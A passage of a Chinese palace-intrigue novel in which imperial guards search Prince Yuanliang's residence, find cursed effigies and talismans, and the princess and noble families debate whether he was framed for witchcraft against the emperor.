他皱着脸,“仪明听见他们在吵架,有一个看上去很慈祥、可声音特别难听的老叔叔在骂他们,说他们骗了自己,他现在走投无路,他们要给一个说法。”
沈磐坐直,问:“他们是谁呢?”
“仪明没见过,也听不出他们是谁,但有个人叫另一个人‘四爷’,那个‘四爷’对那个老叔叔说,他们没有骗他,他们是合作,是老叔叔想卖他‘大哥’一个人情,‘结果不小心人死了,算谁的过错?’”
沈磐背上一凉,“仪明,他们还说什么了?”
沈仪明打了个哆嗦,继续模仿:“那个老叔叔说,‘他不能对不起陛下’,他们说他们没有要他对不起陛下,只是‘现在人死了,被有心人传扬出去’,老叔叔再忠心不二也会被说成是‘忘恩负义的叛徒’。”
陛下。
对不起陛下?
沈磐自己也没尝出自己口吻里的焦急有多么让人惶恐,“仪明,你在什么地方听见的?他们发现你了吗?”
沈仪明小脸惨白,“姑姑,仪明闯祸了对吗?”
沈磐稳住声音,给他抹眼泪,“没有,多大的事情,仪明不要慌,告诉姑姑,他们发现你了吗?那是什么时候?在什么地方。”
沈仪明靠在她掌心里哭,“在畅春园,那天……那天探望过堂叔,爹爹带我去给陛下拜年,我和哥哥一起去畅春园里玩……哥哥……哥哥去找朋友聊天,我一个人在梅树间跑……他们……他们应该看见我了……我拼命地跑啊……他们终于没有追上来,然后我总算找到了爹爹……”
沈磐四肢冰凉。
能在畅春园里密谋的都是有头有脸的人物!
这些人要杀的也定是另一群有头有脸的人物!
且已经有人死了!
沈磐的眼神一瞬飘忽,重新又落在沈仪明的脸上。
他密切关注着自己的表情,似是能从自己脸上的破绽里读出自己闯下的塌天大祸会给家人带来多么可怕的灾难。
沈磐一把将他按入怀里,“没事的仪明,没事的。你爹爹他怎么说了?是不是也说没事的……”
沈仪明大哭起来。
元良也是这么安慰他的。
可仪明是个多有灵性的孩子,他如何看不懂、听不到、尝不出父亲眼中、声音中、呼吸中的恐惧。
所以元良连在京足月过年都等不了,这么着急要带他们走,是为了避祸吗?
他已经知道这些人的底细了吗?
他怎么不和陛下说?升平末年宫变,是辅国长公主保下的不满十岁的元良小郡王,陛下这么敬爱他的姐姐,如何不会在枝节横生、变故接连的今天重新保下郡王府上下满门?
元良在怕什么?
沈磐倒吸一口凉气。
可她又在怕什么?
**
今天本该是个晴天,中午乌云却吞没了太阳。
又下起了雪。
张永一才简略梳理完武库司的现状,打算下午带了人亲自前去检点,正和同僚闲聊着司中现状、一起等着兵部伙堂开饭,忽然听见衙司门外一阵喧闹。
兵部两个门,一个正门朝东,面向东长安门,一个后门向西,走几步就是启明门。
这显然是西院后传来的。
张永一的心情被早上东直门的匆匆一见拨弄得沉浮不定,突又被漫天的大雪压得喘不过气,现下又被这宫禁里百年难得一遇的吵闹拔上了山巅。
这样太平的年景里出了这样的喧沸是要翻天。
他和好事的同僚都赶了过去。
隔壁的都察院里也蹿出了不少人观望。
对街的刑部门口被金甲长刀的锦麟卫堵得水泄不通。
同僚史可平惊掉眼珠,“那是锦麟卫指挥使魏俊秋!什么事情居然把他给招来了!”
正从刑部正门阔步而出的那个男人甲胄在身,周遭的气焰都如同他按下的绣春刀,眼神更冷得可怕。
他是一头恶狼。
可避开他的视线后,张永一却觉得他面白无须,绝无半点刻薄阴狠,更慈善得像后院养花逗鸟的老翁。
12. 第十二章 独丧人(二)
“踢踢踏踏”,宫道上一人骑马而来,玄甲黑袍,也挂了一把银灿灿的宝剑在腰间。
这装束张永一认识,是阴阳卫。
他身后跟着两列阴阳卫急速而来,而他本人则扬出一面镶白边的令旗,朝台阶上为刑部众人拱卫着的魏俊秋挥去,“陛下令,阴阳卫从旁协查。”
说完,他跳下马将令旗卷起,双手递给了魏俊秋。
史可平指点道:“这是阴阳卫指挥使乔晏,他父亲是十年前致仕的乔尚书,就是射下万景楼花灯的那个乔致用。”
张永一微讶,重又看向在魏俊秋面前明显拿捏晚辈姿态的乔晏。
史可平低声再道:“他岳父叫韦不决——”
张永一再看过去。
“韦大将军只有两个女儿,大女儿韦瑛招赘,小女儿韦琼就许给了他。哦,边上那位是咱们的首辅大人——刑部尚书冉琢明。”
史可平趁着张永一认人的当口,摸着胡茬奇怪:“这到底是什么事儿啊,冉大人上午在刑部,下午在内阁,这魏指和乔指奉了帝命直接来刑部调人,看样子是绕过了内阁……”
冉琢明看起来特别生气。
魏俊秋不知和冉琢明说了什么,老头子更生气了,双臂一展堵在刑部门口,一幅魏俊秋胆敢踏足他就敢一头撞死当场的样子。
大理寺和都察院里也涌出大小不一的官来,刑部门口更闹腾了。
“公子!公子!”
张永一倏然转身,见义然着急:“公子,房侍郎来了,点名要见你。”
史可平戳戳张永一,“咱们这位左侍郎房桂稻就是外头那位乔指挥使的上门姐夫。”
“多谢指点。”
史可平摆手,“你快去吧,宫道上不允行马,今日乔指公然破戒,看来是出了天大的事故,我要再观摩观摩。”
**
房桂稻斯文俊秀像个儒生,看见张永一时的眼神更温和得像家里墙上供奉的祖宗,任谁也不敢想这样一个对谁都笑眯眯春风化人的他,现下是尚书霍辄离开后说一不二、钢铁手腕的实权一把手。
止戈堂里除了他,还有一个大腹便便的男人,约莫五十多岁,豹子般的眼睛炯炯有神。
他们是截然相反的一人两面。
“拜见上官。”
房桂稻:“不必多礼,这位是嵇侍郎、嵇将军。”
“下官拜见嵇将军。”
嵇阚放下茶碗点点头,“张络?张永一?”
“是下官。”
“抬头看看。”
嵇阚打量他,也不妨被他打量。他生得凶狠,土匪蛮子般的长相,自右眼内眦向耳后拉着一道长长的口子,陈年伤疤早已愈合,也几乎与他黢黑的肤色融为一体,可张永一一看见这疤痕,西风热血霎时滚烫,他叠在袖子里的手又不自主地攥紧。
嵇阚轻“哼”一声,像头衰豹喷着鼻息,没有什么意思,却让闻者心惊。
这一看就看了许久。
房桂稻刚要说话破这僵局,嵇阚就不冷不热地说道:“你上半张脸很像你父亲。”
张永一微微一愣,再听嵇阚道:“下午我和房侍郎要去武库巡检,你一道过来。”
看过房桂稻刻意露出的惊喜来,张永一知道这是雨过天晴过关了,连忙应下。
嵇阚起身,“西门外吵吵嚷嚷,不像话,我该去看看。”
房桂稻捏一个礼:“嵇将军且去,晚生还有些杂务急需处理,就不陪了。”
嵇阚临走再盯了张永一片刻。
等止戈堂里只剩下他们两个,房桂稻这才舒缓了语气,“他是南越将军,现回京述职评定,挂侍郎之职。今日是他点名要见见你。他本来是雍凉都督,你叔叔张养臣就曾是他的部下,你父亲去西南前也在他的麾下。”
想到张养臣和张永一的父亲张养元早已马革裹尸战死疆场,房桂稻微微叹息,搁下这些沉重的话题笑问:“用饭了吗?”
“还不曾。”
房桂稻带他往止戈堂外走,“是因为东直门甬道上的热闹吗?”
张永一噎住。
“年轻人还是少看些热闹为好。”说完,房桂稻就一言不发只往伙堂走。
**
自靖远门回城,日头已经偏西,西天烧红了一片流云。
元良要将新折的梅花送回郡王府,便央求沈磐指使车马绕去通化门附近,沈磐缠不过他,只能答应。于是乎,等他们的车架迫近元良郡王府,天台的浓墨便兑着凉水哗啦啦洒了下来。
可地上门前长街里,火把喧天,却是滚烫滚烫的一锅热油。
沈仪明扒着车窗震惊不已,沈磐却在看见死守着郡王府正门的侍卫穿着的是锦麟卫服色时,像是真担心沈仪明被炸着响铃的热油烫伤,二话不说就将他将抓回了车厢。
“姑姑,我家出什么事了?”
车架被锦麟卫拦在街巷之外,街口不乏不明就里的百姓指指点点,这些蚊子般的响动听得人心烦,沈磐捧住沈仪明又要探出去的脑袋,摸摸他已经红了的鼻子,“应该没什么事情,我去看看,你乖乖呆在这里,听到了?跑下车小心被拐子拐走,这就再也见不到你爹爹哥哥了。”
沈仪明点点头,却拉住沈磐的袖子,“姑姑,真的没事吗?”
沈磐镇定地笑:“能有什么事?姑姑马上就回来。”
怎么可能没事?
锦麟卫是什么人,这可是天子耳目,莫名其妙围了元良郡王府,必然是出了连陛下都惊动的大事。
沈磐的心早已因锦麟卫的出动惊慌了几分,等她走近王府前街,果不其然被锦麟卫无情拦下,她的脾气刚要发作,就见正门内站了一排阴阳卫,不由骇然得四肢冰凉。
长缨卫与锦麟卫交涉,沈磐在冷风中站了不过一会儿,正门内疾跑出一个小校,恭谨地延请长平公主登足。
元良郡王府的牌匾还是整齐的,可王府内的其他都被平地生起的妖风吹得上下调转、左右翻覆。花草折了腰,古树露了根,石灯碎了罩,帷幔竹帘空中恣意舞。各处都打着火烛,各处都暗不见天。
这只是屋外门内的咫尺地。
沈磐几乎不敢去想,郡王府的书房、卧房、琴房、客房、花房、伙房乃至马房,究竟会遭怎样的大罪。她也几乎想不到,元良那么爱文墨风雅的人,他珍惜的字画、古董、诗稿、书卷,家中女眷的上裳下裙、头簪鞋履,乃至沈仪明兄弟两个的稀奇宝贝,都会沦入怎样的地狱。
这是人间啊。
除了来往忙碌、翻捣着衣橱,甚至连小佛堂里的神龛都要洞开检阅的一群兵士,这里不像有活人的人间。
王府的男仆女婢全被驱赶到了堂屋前,乃至车马房的马夫,送货上门的外铺管家,全都被押在了冰冷的石板地上。粗略一数,不过三十来人,这便是偌大的元良郡王府里所有的人。
沈磐的身子凉了半截。
正堂洞开,里面烛火大烁、亮如白日,可风卷枯土、雪乱虚空,沈磐看不清里面,唯一能挺直腰背站着的三个人是男是女,姓甚名谁。
风嘶鬼哭,男悲女泣。
正堂内走出一个老人来,花白的胡须上棉絮似地飞满了雪点。
沈磐还隔着寻常宽阔此刻却逼仄不堪的露场站着,逐渐看清他在皎洁月色下疲劳略显的一张脸。
“冉……冉先生?”
冉琢明撑着门框,艰难地朝沈磐行礼。
堂内又走出两个人,一个是魏俊秋,一个是乔晏,各自按着刀剑,穿着袍服,戴着高冠,模样历历分明。他们各自抱拳,道着“长平公主安”。
沈磐微退半步,连“免礼”二字都忘得干净,拔足绕开跪满一地的人冲到了堂前,扶住面凝冰霜、心摇不已的冉琢明,“元辅,究竟出什么事了?”
冉琢明有些浑浊的眼睛闪了闪,又慢吞吞合起眼皮,轻轻将自己的手臂从沈磐手中挪开。魏俊秋一声不吭地站起,乔晏上前扶住冉琢明的胳膊,冉琢明没有拒绝。
沈磐记得,魏俊秋和冉琢明差不了几岁,可冉琢明已经衰朽得像个耄耋之年的老翁。
前几年他的夫人病逝,早先他的独女远嫁江南,他也只是伤心牵挂一阵,很快又振作起来回到内阁上值,岁末宫宴那天的他听说还能与襄阳侯郇翾相谈甚欢,此刻却疲乏劳累得跬步难迈。
乔晏在冉琢明和魏俊秋面前都是小辈,他正处在男儿一生中极好的时光里,他的父母又无私地施予他
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一幅极好的皮囊,此刻他昂首挺胸地随便一站,站在冉琢明身边,那种岁月不居、逝者无情的痛惜更落在了实处,砸得沈磐两耳轰鸣。
冉琢明的眼里全是伤心。
沈磐顺着他调转的目光看去,上首松鹤延年的绢画下架着一张香案,案上摆了一把剑,刻有“除秽”二篆字,剑鞘乌黑锃亮,是被日日擦拭的结果,剑柄却暗沉无光,该是多少年不曾有人拔剑出鞘的缘故。
沈磐的目光在“除秽”二字上流连,不禁想起很多很多年前,她三哥还在的时候,又有一年隆冬,他们做贼似的偷摸着给沈斫过生辰。
三哥托元良王兄寻了把剑,上刻“驱尘”二字,沈斫喜欢得不行,夜夜抱着睡觉、日日不肯撒手。
三哥说,这是元良王兄的剑,当初铸成的是一对,取“驱尘除秽”之意,只可惜王兄偏好文墨,“除秽”之剑握在他的至交好友手中保家卫国,“驱尘”之剑却要被他这个呆子耽误埋没。
他可惜多年,现在送给沈斫刚刚好。
于是乎去年,东北与长桫交战,这把“驱尘”剑便断在了沈斫手里,刀剑无眼里无意救他一命。
沈磐的视线沉重如铁。
可冉琢明看的不是剑,是压在剑架边的三张朱砂符箓。
鬼画符。
沈磐好像明白了什么,猛地望向守在香案旁的魏俊秋。
正此时,后堂一阵脚步迭响,甲胄在身的锦麟卫并着左右一个阴阳卫、一个刑部吏一同气喘吁吁徐地冲了过来。盯睛一看,那阴阳卫捧着一块牌位,锦麟卫托着一坨扎针人偶,直直送到魏俊秋眼前。
乔晏和冉琢明齐齐屏住呼吸。
“指挥使,佛堂有所发现!”
魏俊秋眼光大亮,走上前粗粗扫过那一对人偶,随即示意锦麟卫将东西展示给乔晏和冉琢明看,自己则将阴阳卫捧着的那块牌位翻了过来。
亡妻李氏讳舒檀之灵位。
沈磐心一紧,目光诘责,就听刑部吏向冉琢明解释:“这对人偶就藏在郡王妃的牌位之下。”
“死者为大,你们连牌位都不放过!”沈磐忍无可忍。
魏俊秋挥手命他们带着东西退下,刚要向沈磐随口解释几句,又听堂外来报:“库房有所发现!”
众人齐转身看向从外跑进来的人,依旧是锦麟卫、阴阳卫并着一个刑部吏的配置,那个锦麟卫率先跪下呈上一物,魏俊秋上手掀开外头包裹着的丝巾,就见里面还躺着一只上了年头的人偶,五脏六腑如旧扎满了细针,唯一与先前那对不同的是,被多扎了七窍把脉的人偶下还压着两根羽毛,一根鲜艳如血,一根靛蓝似夜。
魏俊秋眯眼,叫了灯烛,就着翕忽不定的火光仔细去读人偶上用朱砂涂写的生辰八字。
和先前那两只一样,这只人偶上的生辰八字很特殊,并非寻常的四柱八字样,而是直白地写着人偶本身的生辰年月日,而独独这只人偶上的生辰日月,让人看过五雷轰顶。
他轻声念出:“某年十月二十五。”
冉琢明不知哪里来的一股力气,冲上来拿起那只人偶仔细检查,等他盯着那模糊的年份看了好久,终于承认那里已经坨成一块什么也看不清时,他整个人如遭雷劈,懵了好久又有些惶恐颓然地后退不止。
乔晏连忙上前,在他撞上香案前用手扶住了他。
看过冉琢明的反应,沈磐的心彻底凉了。
这是厌胜之术!
可又不是寻常的厌胜!不用八字,却用生辰年月,还有咒符,还放飞禽之羽。
沈磐的心砰砰,直要跳出她的心腔来。
锦麟卫、阴阳卫和刑部三家共查查出的!连一家独断栽赃的后话都彻底断绝,总也不可能是三家合谋,元辅冉琢明为人正直,是绝对不会答应的。
更重要的是,这是在元良郡王府中发现的。
元良郡王府!
这是什么时候查出来的?为什么一点风声都没有就直接围了郡王府?
这怎么可能?
“将证据收好。”
沈磐急眼:“什么证据!”
魏俊秋微一打量眼眶泛红的沈磐,欠身恭敬答:“元良郡王沈硎行巫蛊术咒害陛下的证据。”
13. 第十三章 独丧人(三)
“怎么可能?”
魏俊秋再一欠身:“物证齐全。”
“我父皇是十一月的诞辰!”
魏俊秋道:“一共三个人偶——”
他招来恭候一旁的锦麟卫,锦麟卫便呈上最先的一对人偶,“这只的生辰就是陛下的。”
沈磐一看,果然如此。但人偶上的“十年十一月二日”并未明指是天元十年还是升平十年抑或是永济十年。
但这又有什么要紧?
魏俊秋道:“具体事宜有待探查,还望公主殿下稍安勿躁——元辅,乔指挥使,您们看是不是可以回宫给陛下复命了?”
冉琢明心绪难平。
乔晏看看沈磐,再看看魏俊秋,命阴阳卫将压在剑架下的三张符箓揭了一并带上,“那便按魏指挥使所说,回宫。只是这些人——”
魏俊秋微笑看向冉琢明:“依例查封。既然陛下要内阁过问,元辅又签了票拟,这便要走法司途径,郡王府要查封,相干人等自然要由刑部羁押一一审问。元辅?”
冉琢明几不可察地点点头。
魏俊秋看向沈磐:“公主?”
沈磐深吸一口气,刚要在魏俊秋的示意下迈出正堂,就听正门处一阵孩童哭闹。她一愣,回过神来拔腿就跑了过去,果然见沈仪明被长缨卫拦着要冲进来,已经哭得泪流满面。
“仪明!你怎么跑下车了?”
身后赶来的魏俊秋眼神一暗。
“姑姑!姑姑!”
沈磐蹲身抱住沈仪明。
“他们说我父王行了巫蛊……是真的吗?”
沈磐一懵,这才想到留他一个人呆在车上,而周遭流言蜚语漫天,他一个人又那么害怕。
“是姑姑的错……”
“姑姑!”
“元良郡王携世子在紫薇宫拜祭圣人,陛下已经遣人去接了,既然小公子在,臣便奉命一并请入宫中……”
“谁敢!”沈磐霍然起身,拉着沈仪明朝云淡风轻的魏俊秋暴吼。
魏俊秋神色不变,无视沈磐满脸怒容,只是朝沈仪明行了一礼,随即就有锦麟卫上前拉扯,被长缨卫迅速挡下。
剑拔弩张只在刹那间。
乔晏和阴阳卫只远观这行至悬崖的一幕,并不作声。
“公主,这是陛下的命令。”
沈磐攥着沈仪明,“父皇那里,本宫自会去说。”
见状,魏俊秋摇摇头居然笑了,淡淡道:“公主,这可是抗旨。”
沈磐挑眉一扫他按着绣春刀的手,“那圣旨呢?”
魏俊秋张手,即刻有锦麟卫副使林金将一张签着首辅冉琢明大名、盖着内阁大章的票拟送到他手上。他拎起来向沈磐和沈磐身边的长缨卫副使一一展示,“内阁票拟在此,刑部传票又由冉大人亲签,行如同圣意。”
沈磐扬眉,“票拟是票拟,圣旨是圣旨。”
“票拟和圣旨都是陛下的意思!”
“指挥使这是手把鸡毛当令箭。”
“长平公主慎言!”
“今日见不到圣旨,那你就是假传圣旨,这是重罪,本宫绝对不会将他交给你。”沈磐看向一边脸色奇差的锦麟卫副使林金,视线又划向站得更远的阴阳卫众人,最后落在了低着头辨不清神情的冉琢明身上,“魏指挥使去请旨吧。”
魏俊秋依然面不改色。
“又或者进宫,到察院御史面前分说。”
都察院的御史可没有冉琢明这么好揉搓。
魏俊秋终于磨牙。
突然,身后一直如同死了一般沉默不言的冉琢明大声喊一声:“臣!”
众人一齐转身看去。
他站在王府仆婢之间,像块笨重的墓碑。
“恭送长平公主!”
魏俊秋脸上的表情空白一瞬,那边的乔晏略一思忖,即刻带着阴阳也向沈磐拜了下来。
乌压压满院威势。
向沈磐匍匐。
**
天已如墨染。
“永一!”
张永一在东长安门送过嵇阚,正与史可平谈着今天下午武库巡检中的细节,行至兵部正门,一抬头就听见张绰在喊。
他别过史可平,走向宫道上神色匆忙的张绰,“堂兄你怎么来了?”
张绰拉住他就往东长安门走,“长公主气得晕过去了,家里正在找你。”
“怎么回事?谁惹祖母生气了?”
张绰不多说,等兄弟两个都坐上了马背,一前一后抵达了梁国公主府,张绰这才拉住慌忙要去正房看望梁国长公主的张永一,“元良郡王出事了。”
张永一眼前霎时闪过中午在刑部门前的一番对峙。
“宫里传出元良郡王行巫蛊术诅咒陛下的消息,内阁批了搜查的票拟,锦麟卫和阴阳卫的指挥使都去了郡王府,冉首辅也去了——”
见张绰脸上丧气,张永一便知道这次搜查必然搜出了不得了的东西。
他沉下心,“祖母怎么知道的?”
“听我祖父说,长公主下午派了人去郡王府,打算在郡王回南边之前再聚一顿,这就撞见了二卫搜府,场面很凶。”
张永一心乱如麻,听完大致的情况,官袍也没有换,径直往里间走。
房外的老嬷嬷说,宋国长公主和张八郎都来了,正和醒了的梁国说话。
张永一站在外间,都能听见梁国喷播的愤怒:“怎么可能是元良?元良怎么可能会谋害陛下!”
那个语气无奈、温温柔柔的是宋国长公主,“是啊,元良是多好的孩子,多么聪慧多么善良,当年也是兖国姐姐救的他,陛下待他不薄,他也知恩图报,怎么可能做这些大逆不道的事情?”
“一定是有人陷害他!”
“可是姐姐,为什么呢?元良哪里碍着他们了他们要这么报复……”
“天杀的那些奸邪小人!他们害人,还需要什么正当理由?”梁国将床褥捶得响亮,“宋国,我要进宫面见陛下,你可愿陪我去?”
“妹妹自然是愿意的,只是到了陛下面前,我们能说些什么呢?”
梁国语气决绝:“说兖国!”
张永一听见一声长长的叹息。
梁国气急:“八郎,你去吩咐人套车,我即刻就要进宫!”
张八郎站在一旁劝道:“嫂嫂你别急,眼下皇城落钥,恐怕赶不上。”
“我怎能不急?!元良也算是我看着长大的,他是什么脾性我最清楚不过。这日子过得好好的,突然闹了这么一出!若是兖国还在,那些小人怎敢去迫害元良?他们这是在离间天家骨肉!兖国在天之灵怎能安息!陛下心里难道不会愧疚吗!”
张八郎只得叹气。
“可是兖国姐姐已经不在了,陛下那里……恐怕说不动啊!”
“是啊,此事已经由首辅冉大人批准,无论如何,陛下都要给内阁、乃至朝廷一个答复,断然不可能凭谁的求情就开天恩的,况且现在具体是个什么情况也不知道,他们在郡王府搜了什么东西,谁也不知道……”
梁国气得暴吼:“他们是贼喊捉贼!你们别拦我,我要入宫!”
“姐姐!我们贸然求情,如果把陛下惹急了,元良就更不可能平安了。”
“你们……你们都有自己的顾忌……你们别拦我!”
“嫂嫂!”
“姐姐!”
宋国长公主和张八郎俱是惊呼,张永一即刻冲进去,就见梁国又被气得昏了过去,枕在宋国长公主的肘弯,整个人苍白单薄像一只纸糊的娃娃。
“祖母!”
府中的大夫不会儿就到了,宋国长公主也被吓得不清,被请至客房暂歇。
张八郎将他拉到了外间,张绰就这么一会儿的功夫又出去了一趟,解开沾满了雪水的斗篷,头上的风帽也来不及摘,径直走了过来。
“堂兄!”
“绰儿,外头怎么说?”
张绰将祖父扶到榻边坐下,“我去问了羽林卫中人,朱雀卫已经把元良郡王和世子从紫薇宫带回了后廷,就关在启新殿。”
说着,他不自主摇头叹气:“宫里风声特别紧,锦麟卫和阴阳卫半个字也不敢透露,刑部那里我已找人去通门路,现在还没有消息。不过我听说,傍晚抄家时,长平公主也在。”
张永一凝神。
张绰眼有希冀,“或可问问长缨卫。”
张八郎的脸色却越发沉重:“不要去问东宫。”
张永一和张绰俱是一脸不解,但瞬息他们又明白过来。
“这件事究竟是谁策划的,我们一概不知,郡王身上有什么值得图谋的,我们也一概不知,最怕就怕在,元良郡王只是一个幌子。”
最怕就怕在,他们意指东宫。
“但东宫绝不会坐视不管。”
张八郎拍拍张永一紧攥着桌角
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的手,“那是东宫的事。”
不是张家的事。
张永一心紧。
张绰宽慰道:“永一,刑部那里我们可以尽力,哪怕是内阁,我们也能试试,但是东宫——”
“我知道。”
见张永一只体谅地点头,脸色不好更苍白憔悴,张八郎心里十分难受。
他思量片刻,还是开口:“络儿,明日去兵部点了卯,便随我出去一趟。”
**
“堂兄来早了,夫君还没回来。”
张八郎牵着张永一向襄阳侯夫人张玫柔问礼。
“这是永一吧?在老宅见过一面。”
“参见夫人。”
张玫柔保养得很好,几乎没什么明显的皱纹,笑起来温温柔柔,说起话更让人如沐春风,她伸手虚扶张八郎一把,“永一现在留了京,又进了兵部,长公主的心应当能定下来了。”
张八郎笑道:“是啊,接下来只需处理他的婚事,等他成了家,嫂嫂才能彻底安心啊。”
张玫柔笑得和煦,拉过张永一,迅速又打量几眼,心中赞赏之情更盛,引着他们往门内走,“今日晋国她们都不在,便只能让我这个嘴笨的陪你们聊会儿天等午饭了。”
“是因为元良郡王的事情吗?”
“是啊。”张玫柔忧心,“昨天二卫大张旗鼓地闹了一番,把郡王和仪臣世子都锁在了宫里,长平公主还为了小公子仪明和锦麟卫顶了几句,在宫里等着陛下发落,晋国听见了消息就入宫给她求情去了——”
听见沈磐,张永一不自主多凝了几分神专注要听,但张玫柔点到为止、不欲多说。
张八郎瞥了一眼暗自焦急的张永一,顺势问道:“长平公主怎么也掺和进来了?”
“长平带着仪明去上林苑游玩,回宫的时候恰恰路过了王府,锦麟卫要拿人,长平不肯,这就吵上了。”
张八郎皱眉:“郡王府里真查出了什么东西?”
张玫柔沏茶,叹气道:“应当是有实证了,锦麟卫、阴阳卫还有刑部,三家并查——”她摇摇头,头上的那支芙蓉花簪轻轻摇荡,似也在吐诉众人的无可奈何:“恐怕没有转圜余地。”
“郡王常年不在化隆,这郡王府——”
张玫柔将茶盏递到张八郎手边,“夫君也是这么说的,东西的的确确是在三家的眼皮子底下找出来的,冉大人在边上盯着,没法作假,但王府里空荡荡的,若说是有心人塞进去的,或许可以辩一辩。”
张玫柔说得在理,可张永一听着,总觉得话中哪里不对。
“那具体是什么东西,侯爷可有眉目?”
张玫柔给张永一也递去一盏,张永一轻声谢了。
“昨天三家一回宫,冉大人就被叫进了内廷,信笺都锁着,半分消息都漏不出来,外头要打听,得看今天冉大人怎么说。”
张永一心里那股子怪异冲到了顶峰。
张八郎点点头。
堂上一静,张永一心里却吵嚷起来。
他好像知道怪异之处竟在何处。“或许可以辩一辩”,“今天冉大人怎么说”,不对,统统不对,应该只是“可以辩一辩”,“冉大人怎么说”。案件的疑点便是为元良郡王辩驳的要点,而冉琢明更不能因为一夜的封宫锁禁而前后口径不一。
正此时,堂外传来一阵声响,张玫柔一个人笑着起身迎了出去,进来时便又多了两个人。
乍一看,襄阳侯父子二人便如照镜子般站在他们眼前。
张八郎向郇翾施礼:“郇侯爷。”
张永一行完礼,直起身看去时,郇翾和他的长子郇渰也正看来,只这一眼,张永一便瞧出这对父子的不同。郇翾斯文,斯文得有些文弱,幸好他上了年纪,蓄起了胡子,总算看起来有些威严;而郇渰不同,身上有读书人的温濡之气,但更多了一点说一不二的金石之意,不笑的时候,跟他的父亲站在一起,反倒比他的父亲还有簪缨氏族的威赫。
若他们父子两个是同样年纪,让旁人去猜谁父谁子,恐怕要闹出不少笑话。
郇翾盯着张永一看了半瞬,便对张八郎道:“正英,去书房细说。”
张八郎点头,却转身将张永一让到了自己身前,好让郇翾父子看得更清楚些,“他们都大了,多懂点事也无妨。”
犹疑一瞬,郇翾边打量着张永一边点头,“好,多听些也好。”
他的话里尽是哀沉。
14. 第十四章 独丧人(四)
“今日可见到了冉大人?”
“见到了。”郇翾叹气,“三司人都见到了。”
闻言,张永一和张八郎俱是一惊。
“三司?”
郇翾让儿子将火烛拨得再亮些,可烛火再亮,也破不了书房里这黯淡的天光。
他觉得很闷,“三司会审。”
张八郎皱眉,“这种案子,不该过三司吧?”
“是啊,但是……还是从头说吧。”郇翾甩甩头,“陛下本要收拾东西去五柞宫,突然,这病情就眼中起来,太医院怎么看也看不好,而施太医恐有邪祟作乱,便让人搜了年关里陛下过手的物件,然后在元良郡王送来的锦盒夹层里发现了一张符纸。”
“这位施太医是?”
郇翾道:“新来的一位,姓施名汜,听说极擅祝由术,近来很受陛下器重。”
张永一道:“昨日清晨入宫,我看见了他,听他说是给霍尚书府上公子看过方才进宫。”
张八郎和郇翾对视一眼,郇翾若有所思道:“如果是这样,那就说得通了。”
“怎么了?”
张八郎的着急写在脸上。
张永一的着急烙满心里。
郇翾又叹:“三家从郡王府搜出三张符、三只人偶,一只上写了陛下的生辰,一只写了另一人的生辰,还有一只,夹了两根羽毛,用针扎断了人偶的血脉,身上写的便是某年十月二十五日。”
张永一倒吸一口凉气。
“这是何人生辰?”
郇翾看向张永一的眼神中的无奈叹息更重,“是陈王。”
说罢,书房内骤然陷入一阵死寂。
郇渰轻声道:“陈王近来的确身体抱恙。”
这全然就变成了一场诅咒陈王的发难,陛下这么宠爱陈王,随便一想就会猜是东宫不平因而报复。元良与东宫交好,又是宗室族亲,在朝廷里说话虽然没有分量,但在皇室内部乃至承天殿上都善缘广结。大楚皇室血脉凋零,秦王无后,雍王远支,这样一来元良郡王便是皇室中除了正统以外的唯一一支沈姓国亲,他支持东宫,陈王的践阼之路就不可能那么顺利。
郇翾闭上眼长叹一声,片刻他摇摇头,睁眼望向了自己那坐在黑暗里面容不清的长子,“但是——”
张八郎和张永一的心都被这声“但是”吊到了百尺危崖边,张八郎问:“但是什么?”
“但是这个日子也可以是辅国长公主的生辰。”
郇渰也回望父亲,见他张张嘴,却有口难言,咽下了似有万年山巅之雪般难以化解的孤苦。
一种生死难解的孤独。
郇翾继续道:“应该就是长公主的生辰。”
张八郎长叹:“何以牵连至此啊?”
郇渰黑沉沉的眸子也静静盯着父亲。
触及自己的目光,他的视线似是被这黑暗中的烛火舔到了,痛得连忙要逃,可他恋恋不舍,便是再痛还是三步一回头般地不舍,就是想看着自己,似是想透过自己去看一些早已随风远逝的故影。
“殿下的小名是种飞禽。”
鹇儿,汝可上触得青天……
这是大哥写给公主嫂嫂的信笺,如今仍存在曾经兖国公主府的正房。
收拾兄嫂遗物时被他发现。
一封来不及被心念之人拆封的不寄之信。
“而另一只人偶身上写的,就是我大哥的生辰。”
他们是被一个人、一群人恨透的三个人。
如果不是嫁祸东宫,那就是真的想要这三人永世折磨。
可他的兄嫂已经走了这么多年了!
这是一种怎样的仇恨?在他们死后的第三十个年头里,仍然日夜追泣着要让他们上天入地难寻安宁。
郇翾吐出一口气,“他们都是元良郡王府的恩人。”
不论是谋害陈王、诅咒国主,抑或者嫁祸东宫、肖想神器,这些都是元良郡王满门上下不能担也担不了的重罪。
“琢明想见一面元良,被陛下拒绝了。”
设了这样阴毒的套要缢死元良,问问元良他那些罕为人言的仇家、问问升平前朝那些鲜为人知的仇怨,这确实是破局的必要之法。
张八郎讷讷问:“陛下应该也不信,元良郡王会加害于他、恩将仇报吧?那为何不让见呢?”
张永一即刻见郇翾眼中流出一痕痛惜。
他顿时毛骨悚然。
因为陛下信啊!
所以他不允相见呐!
所以张玫柔早就委婉透露了郇翾的猜测,那便是陛下会逼着冉琢明闭嘴,逼着元良郡王将莫须有之罪咽下,今日见过了首辅,更见过了三司,郇翾的猜想更成了现实。
郇翾不知该如何开口,郇渰替父解释:“昨日宫中发现符咒,陛下即刻命锦麟卫出城查封郡王府,期间令阴阳卫协查,又叫魏指挥使承了手谕去刑部调人,恰好在刑部遇上了首辅冉大人。陛下手谕绕过内阁,就是中旨,这是多少年间头一次,冉大人为陛下千秋名记,十分生气此番任性妄为,而魏指挥使依仗陛下手谕,气焰逼人,禁地奔驰,更大破宫规。”
这些都是昨天中午张永一亲眼所见的。
“冉大人为了君父圣名,不允调兵,一定要魏指挥使行文发往内阁落了批朱方才答应。是故,魏指挥使即刻请墨,在刑部当场写了文书,又叫了对门当值的都御史,迫使冉大人批朱盖印——”
郇翾打断道:“琢明此举也是为了防止小人撺掇君卫一手遮天,过了法司明路,他能亲眼盯着,以防胁迫污蔑、蒙蔽圣听。”
但郇翾的神色,明显是赞同儿子所说的“迫使”二字。
魏俊秋能不知道早上的冉琢明必在刑部而非内阁?他敢大摇大摆地去刑部要人,便是早就料到了冉琢明不能也不敢贸然驳斥陛下的手谕,只能用繁琐的流程绊住他们的脚步。但都御史在前,他冉琢明敢公然拖扯,即便察院、六科里都是他的门生,也架不住所谓正气公心在上,他必要吃百官弹劾,弹劾还会铺天盖地将他吃进肚。
